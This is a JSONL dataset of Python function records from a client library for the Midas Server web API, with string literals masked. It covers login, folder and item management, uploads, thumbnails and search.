{"signature": "def login_with_api_key(self, email, api_key, application='<STR_LIT>'):", "body": "parameters = dict()<EOL>parameters['<STR_LIT:email>'] = BaseDriver.email = email  <EOL>parameters['<STR_LIT>'] = BaseDriver.apikey = api_key  <EOL>parameters['<STR_LIT>'] = application<EOL>response = self.request('<STR_LIT>', parameters)<EOL>if '<STR_LIT>' in response:  <EOL><INDENT>return response['<STR_LIT>']<EOL><DEDENT>if '<STR_LIT>':  <EOL><INDENT>return response['<STR_LIT>']<EOL><DEDENT>", "docstring": "Login and get a token. If you do not specify a specific application,\n'Default' will be used.\n\n:param email: Email address of the user\n:type email: string\n:param api_key: API key assigned to the user\n:type api_key: string\n:param application: (optional) Application designated for this API key\n:type application: string\n:returns: Token to be used for interaction with the API until\n    expiration\n:rtype: string", "id": "f8357:c0:m9"}
{"signature": "def get_server_version(self):", "body": "response = self.request('<STR_LIT>')<EOL>return response['<STR_LIT:version>']<EOL>", "docstring": "Get the version from the server.\n\n:returns: version code from the server\n:rtype: string", "id": "f8357:c1:m0"}
{"signature": "def get_server_info(self):", "body": "response = self.request('<STR_LIT>')<EOL>return response['<STR_LIT:version>']<EOL>", "docstring": "Get general server information.\n\nThe information provided includes enabled modules as well as enabled\nweb API functions.\n\n:returns: Module and web API information.\n:rtype: dict", "id": "f8357:c1:m1"}
{"signature": "def list_modules(self):", "body": "response = self.request('<STR_LIT>')<EOL>return response['<STR_LIT>']<EOL>", "docstring": "List the enabled modules on the server.\n\n:returns: List of names of the enabled modules.\n:rtype: list[string]", "id": "f8357:c1:m2"}
{"signature": "def list_user_folders(self, token):", "body": "parameters = dict()<EOL>parameters['<STR_LIT>'] = token<EOL>response = self.request('<STR_LIT>', parameters)<EOL>return response<EOL>", "docstring": "List the folders in the users home area.\n\n:param token: A valid token for the user in question.\n:type token: string\n:returns: List of dictionaries containing folder information.\n:rtype: list[dict]", "id": "f8357:c1:m3"}
{"signature": "def get_default_api_key(self, email, password):", "body": "parameters = dict()<EOL>parameters['<STR_LIT:email>'] = email<EOL>parameters['<STR_LIT:password>'] = password<EOL>response = self.request('<STR_LIT>', parameters)<EOL>return response['<STR_LIT>']<EOL>", "docstring": "Get the default API key for a user.\n\n:param email: The email of the user.\n:type email: string\n:param password: The user's password.\n:type password: string\n:returns: API key to confirm that it was fetched successfully.\n:rtype: string", "id": "f8357:c1:m4"}
{"signature": "def list_users(self, limit=<NUM_LIT:20>):", "body": "parameters = dict()<EOL>parameters['<STR_LIT>'] = limit<EOL>response = self.request('<STR_LIT>', parameters)<EOL>return response<EOL>", "docstring": "List the public users in the system.\n\n:param limit: (optional) The number of users to fetch.\n:type limit: int | long\n:returns: The list of users.\n:rtype: list[dict]", "id": "f8357:c1:m5"}
{"signature": "def get_user_by_name(self, firstname, lastname):", "body": "parameters = dict()<EOL>parameters['<STR_LIT>'] = firstname<EOL>parameters['<STR_LIT>'] = lastname<EOL>response = self.request('<STR_LIT>', parameters)<EOL>return response<EOL>", "docstring": "Get a user by the first and last name of that user.\n\n:param firstname: The first name of the user.\n:type firstname: string\n:param lastname: The last name of the user.\n:type lastname: string\n:returns: The user requested.\n:rtype: dict", "id": "f8357:c1:m6"}
{"signature": "def get_user_by_id(self, user_id):", "body": "parameters = dict()<EOL>parameters['<STR_LIT>'] = user_id<EOL>response = self.request('<STR_LIT>', parameters)<EOL>return response<EOL>", "docstring": "Get a user by the first and last name of that user.\n\n:param user_id: The id of the desired user.\n:type user_id: int | long\n:returns: The user requested.\n:rtype: dict", "id": "f8357:c1:m7"}
{"signature": "def get_user_by_email(self, email):", "body": "parameters = dict()<EOL>parameters['<STR_LIT:email>'] = email<EOL>response = self.request('<STR_LIT>', parameters)<EOL>return response<EOL>", "docstring": "Get a user by the email of that user.\n\n:param email: The email of the desired user.\n:type email: string\n:returns: The user requested.\n:rtype: dict", "id": "f8357:c1:m8"}
{"signature": "def create_community(self, token, name, **kwargs):", "body": "parameters = dict()<EOL>parameters['<STR_LIT>'] = token<EOL>parameters['<STR_LIT:name>'] = name<EOL>optional_keys = ['<STR_LIT:description>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>for key in optional_keys:<EOL><INDENT>if key in kwargs:<EOL><INDENT>if key == '<STR_LIT>':<EOL><INDENT>parameters['<STR_LIT>'] = kwargs[key]<EOL>continue<EOL><DEDENT>parameters[key] = kwargs[key]<EOL><DEDENT><DEDENT>response = self.request('<STR_LIT>', parameters)<EOL>return response<EOL>", "docstring": "Create a new community or update an existing one using the uuid.\n\n:param token: A valid token for the user in question.\n:type token: string\n:param name: The community name.\n:type name: string\n:param description: (optional) The community description.\n:type description: string\n:param uuid: (optional) uuid of the community. If none is passed, will\n    generate one.\n:type uuid: string\n:param privacy: (optional) Default 'Public', possible values\n    [Public|Private].\n:type privacy: string\n:param can_join: (optional) Default 'Everyone', possible values\n    [Everyone|Invitation].\n:type can_join: string\n:returns: The community dao that was created.\n:rtype: dict", "id": "f8357:c1:m9"}
{"signature": "def get_community_by_name(self, name, token=None):", "body": "parameters = dict()<EOL>parameters['<STR_LIT:name>'] = name<EOL>if token:<EOL><INDENT>parameters['<STR_LIT>'] = token<EOL><DEDENT>response = self.request('<STR_LIT>', parameters)<EOL>return response<EOL>", "docstring": "Get a community based on its name.\n\n:param name: The name of the target community.\n:type name: string\n:param token: (optional) A valid token for the user in question.\n:type token: None | string\n:returns: The requested community.\n:rtype: dict", "id": "f8357:c1:m10"}
{"signature": "def get_community_by_id(self, community_id, token=None):", "body": "parameters = dict()<EOL>parameters['<STR_LIT:id>'] = community_id<EOL>if token:<EOL><INDENT>parameters['<STR_LIT>'] = token<EOL><DEDENT>response = self.request('<STR_LIT>', parameters)<EOL>return response<EOL>", "docstring": "Get a community based on its id.\n\n:param community_id: The id of the target community.\n:type community_id: int | long\n:param token: (optional) A valid token for the user in question.\n:type token: None | string\n:returns: The requested community.\n:rtype: dict", "id": "f8357:c1:m11"}
{"signature": "def get_community_children(self, community_id, token=None):", "body": "parameters = dict()<EOL>parameters['<STR_LIT:id>'] = community_id<EOL>if token:<EOL><INDENT>parameters['<STR_LIT>'] = token<EOL><DEDENT>response = self.request('<STR_LIT>', parameters)<EOL>return response<EOL>", "docstring": "Get the non-recursive children of the passed in community_id.\n\n:param community_id: The id of the requested community.\n:type community_id: int | long\n:param token: (optional) A valid token for the user in question.\n:type token: None | string\n:returns: List of the folders in the community.\n:rtype: dict[string, list]", "id": "f8357:c1:m12"}
{"signature": "def list_communities(self, token=None):", "body": "parameters = dict()<EOL>if token:<EOL><INDENT>parameters['<STR_LIT>'] = token<EOL><DEDENT>response = self.request('<STR_LIT>', parameters)<EOL>return response<EOL>", "docstring": "List all communities visible to a user.\n\n:param token: (optional) A valid token for the user in question.\n:type token: None | string\n:returns: The list of communities.\n:rtype: list[dict]", "id": "f8357:c1:m13"}
{"signature": "def create_folder(self, token, name, parent_id, **kwargs):", "body": "parameters = dict()<EOL>parameters['<STR_LIT>'] = token<EOL>parameters['<STR_LIT:name>'] = name<EOL>parameters['<STR_LIT>'] = parent_id<EOL>parameters['<STR_LIT:description>'] = '<STR_LIT>'<EOL>optional_keys = ['<STR_LIT:description>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>for key in optional_keys:<EOL><INDENT>if key in kwargs:<EOL><INDENT>if key == '<STR_LIT>':<EOL><INDENT>if kwargs[key]:<EOL><INDENT>parameters['<STR_LIT>'] = kwargs[key]<EOL><DEDENT>continue<EOL><DEDENT>parameters[key] = kwargs[key]<EOL><DEDENT><DEDENT>response = self.request('<STR_LIT>', parameters)<EOL>return response<EOL>", "docstring": "Create a folder at the destination specified.\n\n:param token: A valid token for the user in question.\n:type token: string\n:param name: The name of the folder to be created.\n:type name: string\n:param parent_id: The id of the targeted parent folder.\n:type parent_id: int | long\n:param description: (optional) The description text of the folder.\n:type description: string\n:param uuid: (optional) The UUID for the folder. It will be generated\n    if not given.\n:type uuid: string\n:param privacy: (optional) The privacy state of the folder\n    ('Public' or 'Private').\n:param reuse_existing: (optional) If true, will just return the\n    existing folder if there is one with the name provided.\n:type reuse_existing: bool\n:returns: Dictionary containing the details of the created folder.\n:rtype: dict", "id": "f8357:c1:m14"}
{"signature": "def folder_get(self, token, folder_id):", "body": "parameters = dict()<EOL>parameters['<STR_LIT>'] = token<EOL>parameters['<STR_LIT:id>'] = folder_id<EOL>response = self.request('<STR_LIT>', parameters)<EOL>return response<EOL>", "docstring": "Get the attributes of the specified folder.\n\n:param token: A valid token for the user in question.\n:type token: string\n:param folder_id: The id of the requested folder.\n:type folder_id: int | long\n:returns: Dictionary of the folder attributes.\n:rtype: dict", "id": "f8357:c1:m15"}
{"signature": "def folder_children(self, token, folder_id):", "body": "parameters = dict()<EOL>parameters['<STR_LIT>'] = token<EOL>parameters['<STR_LIT:id>'] = folder_id<EOL>response = self.request('<STR_LIT>', parameters)<EOL>return response<EOL>", "docstring": "Get the non-recursive children of the passed in folder_id.\n\n:param token: A valid token for the user in question.\n:type token: string\n:param folder_id: The id of the requested folder.\n:type folder_id: int | long\n:returns: Dictionary of two lists: 'folders' and 'items'.\n:rtype: dict[string, list]", "id": "f8357:c1:m16"}
{"signature": "def delete_folder(self, token, folder_id):", "body": "parameters = dict()<EOL>parameters['<STR_LIT>'] = token<EOL>parameters['<STR_LIT:id>'] = folder_id<EOL>response = self.request('<STR_LIT>', parameters)<EOL>return response<EOL>", "docstring": "Delete the folder with the passed in folder_id.\n\n:param token: A valid token for the user in question.\n:type token: string\n:param folder_id: The id of the folder to be deleted.\n:type folder_id: int | long\n:returns: None.\n:rtype: None", "id": "f8357:c1:m17"}
{"signature": "def move_folder(self, token, folder_id, dest_folder_id):", "body": "parameters = dict()<EOL>parameters['<STR_LIT>'] = token<EOL>parameters['<STR_LIT:id>'] = folder_id<EOL>parameters['<STR_LIT>'] = dest_folder_id<EOL>response = self.request('<STR_LIT>', parameters)<EOL>return response<EOL>", "docstring": "Move a folder to the destination folder.\n\n:param token: A valid token for the user in question.\n:type token: string\n:param folder_id: The id of the folder to be moved.\n:type folder_id: int | long\n:param dest_folder_id: The id of destination (new parent) folder.\n:type dest_folder_id: int | long\n:returns: Dictionary containing the details of the moved folder.\n:rtype: dict", "id": "f8357:c1:m18"}
{"signature": "def create_item(self, token, name, parent_id, **kwargs):", "body": "parameters = dict()<EOL>parameters['<STR_LIT>'] = token<EOL>parameters['<STR_LIT:name>'] = name<EOL>parameters['<STR_LIT>'] = parent_id<EOL>optional_keys = ['<STR_LIT:description>', '<STR_LIT>', '<STR_LIT>']<EOL>for key in optional_keys:<EOL><INDENT>if key in kwargs:<EOL><INDENT>parameters[key] = kwargs[key]<EOL><DEDENT><DEDENT>response = self.request('<STR_LIT>', parameters)<EOL>return response<EOL>", "docstring": "Create an item to the server.\n\n:param token: A valid token for the user in question.\n:type token: string\n:param name: The name of the item to be created.\n:type name: string\n:param parent_id: The id of the destination folder.\n:type parent_id: int | long\n:param description: (optional) The description text of the item.\n:type description: string\n:param uuid: (optional) The UUID for the item. It will be generated if\n    not given.\n:type uuid: string\n:param privacy: (optional) The privacy state of the item\n    ('Public' or 'Private').\n:type privacy: string\n:returns: Dictionary containing the details of the created item.\n:rtype: dict", "id": "f8357:c1:m19"}
{"signature": "def item_get(self, token, item_id):", "body": "parameters = dict()<EOL>parameters['<STR_LIT>'] = token<EOL>parameters['<STR_LIT:id>'] = item_id<EOL>response = self.request('<STR_LIT>', parameters)<EOL>return response<EOL>", "docstring": "Get the attributes of the specified item.\n\n:param token: A valid token for the user in question.\n:type token: string\n:param item_id: The id of the requested item.\n:type item_id: int | string\n:returns: Dictionary of the item attributes.\n:rtype: dict", "id": "f8357:c1:m20"}
{"signature": "def download_item(self, item_id, token=None, revision=None):", "body": "parameters = dict()<EOL>parameters['<STR_LIT:id>'] = item_id<EOL>if token:<EOL><INDENT>parameters['<STR_LIT>'] = token<EOL><DEDENT>if revision:<EOL><INDENT>parameters['<STR_LIT>'] = revision<EOL><DEDENT>method_url = self.full_url + '<STR_LIT>'<EOL>request = requests.get(method_url,<EOL>params=parameters,<EOL>stream=True,<EOL>verify=self._verify_ssl_certificate)<EOL>filename = request.headers['<STR_LIT>'][<NUM_LIT>:].strip('<STR_LIT:\">')<EOL>return filename, request.iter_content(chunk_size=<NUM_LIT:10> * <NUM_LIT>)<EOL>", "docstring": "Download an item to disk.\n\n:param item_id: The id of the item to be downloaded.\n:type item_id: int | long\n:param token: (optional) The authentication token of the user\n    requesting the download.\n:type token: None | string\n:param revision: (optional) The revision of the item to download, this\n    defaults to HEAD.\n:type revision: None | int | long\n:returns: A tuple of the filename and the content iterator.\n:rtype: (string, unknown)", "id": "f8357:c1:m21"}
{"signature": "def delete_item(self, token, item_id):", "body": "parameters = dict()<EOL>parameters['<STR_LIT>'] = token<EOL>parameters['<STR_LIT:id>'] = item_id<EOL>response = self.request('<STR_LIT>', parameters)<EOL>return response<EOL>", "docstring": "Delete the item with the passed in item_id.\n\n:param token: A valid token for the user in question.\n:type token: string\n:param item_id: The id of the item to be deleted.\n:type item_id: int | long\n:returns: None.\n:rtype: None", "id": "f8357:c1:m22"}
{"signature": "def get_item_metadata(self, item_id, token=None, revision=None):", "body": "parameters = dict()<EOL>parameters['<STR_LIT:id>'] = item_id<EOL>if token:<EOL><INDENT>parameters['<STR_LIT>'] = token<EOL><DEDENT>if revision:<EOL><INDENT>parameters['<STR_LIT>'] = revision<EOL><DEDENT>response = self.request('<STR_LIT>', parameters)<EOL>return response<EOL>", "docstring": "Get the metadata associated with an item.\n\n:param item_id: The id of the item for which metadata will be returned\n:type item_id: int | long\n:param token: (optional) A valid token for the user in question.\n:type token: None | string\n:param revision: (optional) Revision of the item. Defaults to latest\n    revision.\n:type revision: int | long\n:returns: List of dictionaries containing item metadata.\n:rtype: list[dict]", "id": "f8357:c1:m23"}
{"signature": "def set_item_metadata(self, token, item_id, element, value,<EOL>qualifier=None):", "body": "parameters = dict()<EOL>parameters['<STR_LIT>'] = token<EOL>parameters['<STR_LIT>'] = item_id<EOL>parameters['<STR_LIT>'] = element<EOL>parameters['<STR_LIT:value>'] = value<EOL>if qualifier:<EOL><INDENT>parameters['<STR_LIT>'] = qualifier<EOL><DEDENT>response = self.request('<STR_LIT>', parameters)<EOL>return response<EOL>", "docstring": "Set the metadata associated with an item.\n\n:param token: A valid token for the user in question.\n:type token: string\n:param item_id: The id of the item for which metadata will be set.\n:type item_id: int | long\n:param element: The metadata element name.\n:type element: string\n:param value: The metadata value for the field.\n:type value: string\n:param qualifier: (optional) The metadata qualifier. Defaults to empty\n    string.\n:type qualifier: None | string\n:returns: None.\n:rtype: None", "id": "f8357:c1:m24"}
{"signature": "def share_item(self, token, item_id, dest_folder_id):", "body": "parameters = dict()<EOL>parameters['<STR_LIT>'] = token<EOL>parameters['<STR_LIT:id>'] = item_id<EOL>parameters['<STR_LIT>'] = dest_folder_id<EOL>response = self.request('<STR_LIT>', parameters)<EOL>return response<EOL>", "docstring": "Share an item to the destination folder.\n\n:param token: A valid token for the user in question.\n:type token: string\n:param item_id: The id of the item to be shared.\n:type item_id: int | long\n:param dest_folder_id: The id of destination folder where the item is\n    shared to.\n:type dest_folder_id: int | long\n:returns: Dictionary containing the details of the shared item.\n:rtype: dict", "id": "f8357:c1:m25"}
{"signature": "def move_item(self, token, item_id, src_folder_id, dest_folder_id):", "body": "parameters = dict()<EOL>parameters['<STR_LIT>'] = token<EOL>parameters['<STR_LIT:id>'] = item_id<EOL>parameters['<STR_LIT>'] = src_folder_id<EOL>parameters['<STR_LIT>'] = dest_folder_id<EOL>response = self.request('<STR_LIT>', parameters)<EOL>return response<EOL>", "docstring": "Move an item from the source folder to the destination folder.\n\n:param token: A valid token for the user in question.\n:type token: string\n:param item_id: The id of the item to be moved\n:type item_id: int | long\n:param src_folder_id: The id of source folder where the item is located\n:type src_folder_id: int | long\n:param dest_folder_id: The id of destination folder where the item is\n    moved to\n:type dest_folder_id: int | long\n:returns: Dictionary containing the details of the moved item\n:rtype: dict", "id": "f8357:c1:m26"}
{"signature": "def search_item_by_name(self, name, token=None):", "body": "parameters = dict()<EOL>parameters['<STR_LIT:name>'] = name<EOL>if token:<EOL><INDENT>parameters['<STR_LIT>'] = token<EOL><DEDENT>response = self.request('<STR_LIT>', parameters)<EOL>return response['<STR_LIT>']<EOL>", "docstring": "Return all items.\n\n:param name: The name of the item to search by.\n:type name: string\n:param token: (optional) A valid token for the user in question.\n:type token: None | string\n:returns: A list of all items with the given name.\n:rtype: list[dict]", "id": "f8357:c1:m27"}
{"signature": "def search_item_by_name_and_folder(self, name, folder_id, token=None):", "body": "parameters = dict()<EOL>parameters['<STR_LIT:name>'] = name<EOL>parameters['<STR_LIT>'] = folder_id<EOL>if token:<EOL><INDENT>parameters['<STR_LIT>'] = token<EOL><DEDENT>response = self.request('<STR_LIT>', parameters)<EOL>return response['<STR_LIT>']<EOL>", "docstring": "Return all items with a given name and parent folder id.\n\n:param name: The name of the item to search by.\n:type name: string\n:param folder_id: The id of the parent folder to search by.\n:type folder_id: int | long\n:param token: (optional) A valid token for the user in question.\n:type token: None | string\n:returns: A list of all items with the given name and parent folder id.\n:rtype: list[dict]", "id": "f8357:c1:m28"}
{"signature": "def search_item_by_name_and_folder_name(self, name, folder_name,<EOL>token=None):", "body": "parameters = dict()<EOL>parameters['<STR_LIT:name>'] = name<EOL>parameters['<STR_LIT>'] = folder_name<EOL>if token:<EOL><INDENT>parameters['<STR_LIT>'] = token<EOL><DEDENT>response = self.request('<STR_LIT>',<EOL>parameters)<EOL>return response['<STR_LIT>']<EOL>", "docstring": "Return all items with a given name and parent folder name.\n\n:param name: The name of the item to search by.\n:type name: string\n:param folder_name: The name of the parent folder to search by.\n:type folder_name: string\n:param token: (optional) A valid token for the user in question.\n:type token: None | string\n:returns: A list of all items with the given name and parent folder\n    name.\n:rtype: list[dict]", "id": "f8357:c1:m29"}
{"signature": "def create_link(self, token, folder_id, url, **kwargs):", "body": "parameters = dict()<EOL>parameters['<STR_LIT>'] = token<EOL>parameters['<STR_LIT>'] = folder_id<EOL>parameters['<STR_LIT:url>'] = url<EOL>optional_keys = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>for key in optional_keys:<EOL><INDENT>if key in kwargs:<EOL><INDENT>if key == '<STR_LIT>':<EOL><INDENT>parameters['<STR_LIT>'] = kwargs[key]<EOL>continue<EOL><DEDENT>parameters[key] = kwargs[key]<EOL><DEDENT><DEDENT>response = self.request('<STR_LIT>', parameters)<EOL>return response<EOL>", "docstring": "Create a link bitstream.\n\n:param token: A valid token for the user in question.\n:type token: string\n:param folder_id: The id of the folder in which to create a new item\n    that will contain the link. The new item will have the same name as\n    the URL unless an item name is supplied.\n:type folder_id: int | long\n:param url: The URL of the link you will create, will be used as the\n    name of the bitstream and of the item unless an item name is\n    supplied.\n:type url: string\n:param item_name: (optional)  The name of the newly created item, if\n    not supplied, the item will have the same name as the URL.\n:type item_name: string\n:param length: (optional) The length in bytes of the file to which the\n    link points.\n:type length: int | long\n:param checksum: (optional) The MD5 checksum of the file to which the\n    link points.\n:type checksum: string\n:returns: The item information of the item created.\n:rtype: dict", "id": "f8357:c1:m30"}
{"signature": "def generate_upload_token(self, token, item_id, filename, checksum=None):", "body": "parameters = dict()<EOL>parameters['<STR_LIT>'] = token<EOL>parameters['<STR_LIT>'] = item_id<EOL>parameters['<STR_LIT:filename>'] = filename<EOL>if checksum is not None:<EOL><INDENT>parameters['<STR_LIT>'] = checksum<EOL><DEDENT>response = self.request('<STR_LIT>', parameters)<EOL>return response['<STR_LIT>']<EOL>", "docstring": "Generate a token to use for upload.\n\nMidas Server uses a individual token for each upload. The token\ncorresponds to the file specified and that file only. Passing the MD5\nchecksum allows the server to determine if the file is already in the\nasset store.\n\nIf :param:`checksum` is passed and the token returned is blank, the\nserver already has this file and there is no need to follow this\ncall with a call to `perform_upload`, as the passed in file will have\nbeen added as a bitstream to the item's latest revision, creating a\nnew revision if one doesn't exist.\n\n:param token: A valid token for the user in question.\n:type token: string\n:param item_id: The id of the item in which to upload the file as a\n    bitstream.\n:type item_id: int | long\n:param filename: The name of the file to generate the upload token for.\n:type filename: string\n:param checksum: (optional) The checksum of the file to upload.\n:type checksum: None | string\n:returns: String of the upload token.\n:rtype: string", "id": "f8357:c1:m31"}
{"signature": "def perform_upload(self, upload_token, filename, **kwargs):", "body": "parameters = dict()<EOL>parameters['<STR_LIT>'] = upload_token<EOL>parameters['<STR_LIT:filename>'] = filename<EOL>try:<EOL><INDENT>create_additional_revision = kwargs['<STR_LIT>']<EOL><DEDENT>except KeyError:<EOL><INDENT>create_additional_revision = False<EOL><DEDENT>if not create_additional_revision:<EOL><INDENT>parameters['<STR_LIT>'] = '<STR_LIT>'<EOL><DEDENT>optional_keys = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>for key in optional_keys:<EOL><INDENT>if key in kwargs:<EOL><INDENT>if key == '<STR_LIT>':<EOL><INDENT>parameters['<STR_LIT>'] = kwargs[key]<EOL>continue<EOL><DEDENT>if key == '<STR_LIT>':<EOL><INDENT>parameters['<STR_LIT>'] = kwargs[key]<EOL>continue<EOL><DEDENT>parameters[key] = kwargs[key]<EOL><DEDENT><DEDENT>file_payload = open(kwargs.get('<STR_LIT>', filename), '<STR_LIT:rb>')<EOL>parameters['<STR_LIT>'] = os.fstat(file_payload.fileno()).st_size<EOL>response = self.request('<STR_LIT>', parameters,<EOL>file_payload)<EOL>return response<EOL>", "docstring": "Upload a file into a given item (or just to the public folder if the\nitem is not specified.\n\n:param upload_token: The upload token (returned by\n    generate_upload_token)\n:type upload_token: string\n:param filename: The upload filename. Also used as the path to the\n    file, if 'filepath' is not set.\n:type filename: string\n:param mode: (optional) Stream or multipart. Default is stream.\n:type mode: string\n:param folder_id: (optional) The id of the folder to upload into.\n:type folder_id: int | long\n:param item_id: (optional) If set, will append item ``bitstreams`` to\n    the latest revision (or the one set using :param:`revision` ) of\n    the existing item.\n:type item_id: int | long\n:param revision: (optional) If set, will add a new file into an\n    existing revision. Set this to 'head' to add to the most recent\n    revision.\n:type revision: string | int | long\n:param filepath: (optional) The path to the file.\n:type filepath: string\n:param create_additional_revision: (optional) If set, will create a\n    new revision in the existing item.\n:type create_additional_revision: bool\n:returns: Dictionary containing the details of the item created or\n    changed.\n:rtype: dict", "id": "f8357:c1:m32"}
{"signature": "def search(self, search, token=None):", "body": "parameters = dict()<EOL>parameters['<STR_LIT>'] = search<EOL>if token:<EOL><INDENT>parameters['<STR_LIT>'] = token<EOL><DEDENT>response = self.request('<STR_LIT>', parameters)<EOL>return response<EOL>", "docstring": "Get the resources corresponding to a given query.\n\n:param search: The search criterion.\n:type search: string\n:param token: (optional) The credentials to use when searching.\n:type token: None | string\n:returns: Dictionary containing the search result. Notable is the\n    dictionary item 'results', which is a list of item details.\n:rtype: dict", "id": "f8357:c1:m33"}
{"signature": "def add_condor_dag(self, token, batchmaketaskid, dagfilename,<EOL>dagmanoutfilename):", "body": "parameters = dict()<EOL>parameters['<STR_LIT>'] = token<EOL>parameters['<STR_LIT>'] = batchmaketaskid<EOL>parameters['<STR_LIT>'] = dagfilename<EOL>parameters['<STR_LIT>'] = dagmanoutfilename<EOL>response = self.request('<STR_LIT>', parameters)<EOL>return response<EOL>", "docstring": "Add a Condor DAG to the given Batchmake task.\n\n:param token: A valid token for the user in question.\n:type token: string\n:param batchmaketaskid: id of the Batchmake task for this DAG\n:type batchmaketaskid: int | long\n:param dagfilename: Filename of the DAG file\n:type dagfilename: string\n:param dagmanoutfilename: Filename of the DAG processing output\n:type dagmanoutfilename: string\n:returns: The created Condor DAG DAO\n:rtype: dict", "id": "f8357:c2:m0"}
{"signature": "def add_condor_job(self, token, batchmaketaskid, jobdefinitionfilename,<EOL>outputfilename, errorfilename, logfilename,<EOL>postfilename):", "body": "parameters = dict()<EOL>parameters['<STR_LIT>'] = token<EOL>parameters['<STR_LIT>'] = batchmaketaskid<EOL>parameters['<STR_LIT>'] = jobdefinitionfilename<EOL>parameters['<STR_LIT>'] = outputfilename<EOL>parameters['<STR_LIT>'] = errorfilename<EOL>parameters['<STR_LIT>'] = logfilename<EOL>parameters['<STR_LIT>'] = postfilename<EOL>response = self.request('<STR_LIT>', parameters)<EOL>return response<EOL>", "docstring": "Add a Condor DAG job to the Condor DAG associated with this\nBatchmake task\n\n:param token: A valid token for the user in question.\n:type token: string\n:param batchmaketaskid: id of the Batchmake task for this DAG\n:type batchmaketaskid: int | long\n:param jobdefinitionfilename: Filename of the definition file for the\n    job\n:type jobdefinitionfilename: string\n:param outputfilename: Filename of the output file for the job\n:type outputfilename: string\n:param errorfilename: Filename of the error file for the job\n:type errorfilename: string\n:param logfilename: Filename of the log file for the job\n:type logfilename: string\n:param postfilename: Filename of the post script log file for the job\n:type postfilename: string\n:return: The created Condor job DAO.\n:rtype: dict", "id": "f8357:c2:m1"}
{"signature": "def extract_dicommetadata(self, token, item_id):", "body": "parameters = dict()<EOL>parameters['<STR_LIT>'] = token<EOL>parameters['<STR_LIT>'] = item_id<EOL>response = self.request('<STR_LIT>', parameters)<EOL>return response<EOL>", "docstring": "Extract DICOM metadata from the given item\n\n:param token: A valid token for the user in question.\n:type token: string\n:param item_id: id of the item to be extracted\n:type item_id: int | long\n:return: the item revision DAO\n:rtype: dict", "id": "f8357:c3:m0"}
{"signature": "def mfa_otp_login(self, temp_token, one_time_pass):", "body": "parameters = dict()<EOL>parameters['<STR_LIT>'] = temp_token<EOL>parameters['<STR_LIT>'] = one_time_pass<EOL>response = self.request('<STR_LIT>', parameters)<EOL>return response['<STR_LIT>']<EOL>", "docstring": "Log in to get the real token using the temporary token and otp.\n\n:param temp_token: The temporary token or id returned from normal login\n:type temp_token: string\n:param one_time_pass: The one-time pass to be sent to the underlying\n    multi-factor engine.\n:type one_time_pass: string\n:returns: A standard token for interacting with the web api.\n:rtype: string", "id": "f8357:c4:m0"}
{"signature": "def create_big_thumbnail(self, token, bitstream_id, item_id, width=<NUM_LIT>):", "body": "parameters = dict()<EOL>parameters['<STR_LIT>'] = token<EOL>parameters['<STR_LIT>'] = bitstream_id<EOL>parameters['<STR_LIT>'] = item_id<EOL>parameters['<STR_LIT:width>'] = width<EOL>response = self.request('<STR_LIT>',<EOL>parameters)<EOL>return response<EOL>", "docstring": "Create a big thumbnail for the given bitstream with the given width.\nIt is used as the main image of the given item and shown in the item\nview page.\n\n:param token: A valid token for the user in question.\n:type token: string\n:param bitstream_id: The bitstream from which to create the thumbnail.\n:type bitstream_id: int | long\n:param item_id: The item on which to set the thumbnail.\n:type item_id: int | long\n:param width: (optional) The width in pixels to which to resize (aspect\n    ratio will be preserved). Defaults to 575.\n:type width: int | long\n:returns: The ItemthumbnailDao object that was created.\n:rtype: dict", "id": "f8357:c5:m0"}
{"signature": "def create_small_thumbnail(self, token, item_id):", "body": "parameters = dict()<EOL>parameters['<STR_LIT>'] = token<EOL>parameters['<STR_LIT>'] = item_id<EOL>response = self.request(<EOL>'<STR_LIT>', parameters)<EOL>return response<EOL>", "docstring": "Create a 100x100 small thumbnail for the given item. It is used for\npreview purpose and displayed in the 'preview' and 'thumbnails'\nsidebar sections.\n\n:param token: A valid token for the user in question.\n:type token: string\n:param item_id: The item on which to set the thumbnail.\n:type item_id: int | long\n:returns: The item object (with the new thumbnail id) and the path\n    where the newly created thumbnail is stored.\n:rtype: dict", "id": "f8357:c5:m1"}
{"signature": "def solr_advanced_search(self, query, token=None, limit=<NUM_LIT:20>):", "body": "parameters = dict()<EOL>parameters['<STR_LIT>'] = query<EOL>parameters['<STR_LIT>'] = limit<EOL>if token:<EOL><INDENT>parameters['<STR_LIT>'] = token<EOL><DEDENT>response = self.request('<STR_LIT>', parameters)<EOL>return response<EOL>", "docstring": "Search item metadata using Apache Solr.\n\n:param query: The Apache Lucene search query.\n:type query: string\n:param token: (optional) A valid token for the user in question.\n:type token: None | string\n:param limit: (optional) The limit of the search.\n:type limit: int | long\n:returns: The list of items that match the search query.\n:rtype: list[dict]", "id": "f8357:c6:m0"}
{"signature": "def associate_item_with_scalar_data(self, token, item_id, scalar_id,<EOL>label):", "body": "parameters = dict()<EOL>parameters['<STR_LIT>'] = token<EOL>parameters['<STR_LIT>'] = scalar_id<EOL>parameters['<STR_LIT>'] = item_id<EOL>parameters['<STR_LIT:label>'] = label<EOL>self.request('<STR_LIT>', parameters)<EOL>", "docstring": "Associate a result item with a particular scalar value.\n\n:param token: A valid token for the user in question.\n:type token: string\n:param item_id: The id of the item to associate with the scalar.\n:type item_id: int | long\n:param scalar_id: Scalar id with which to associate the item.\n:type scalar_id: int | long\n:param label: The label describing the nature of the association.\n:type label: string", "id": "f8357:c7:m0"}
{"signature": "def create_submission(self, token, **kwargs):", "body": "parameters = {}<EOL>parameters['<STR_LIT>'] = token<EOL>optional_keys = ['<STR_LIT>', '<STR_LIT:name>']<EOL>for key in optional_keys:<EOL><INDENT>if key in kwargs:<EOL><INDENT>parameters[key] = kwargs[key]<EOL><DEDENT><DEDENT>return self.request('<STR_LIT>', parameters)<EOL>", "docstring": "Associate a result item with a particular scalar value.\n\n:param token: A valid token for the user in question.\n:type token: string\n:param uuid (optional) The uuid of the submission (must be unique)\n:type uuid: string\n:param name (optional) The name of the submission\n:type name: string\n:returns: The submission object that was created.\n:rtype: dict", "id": "f8357:c7:m1"}
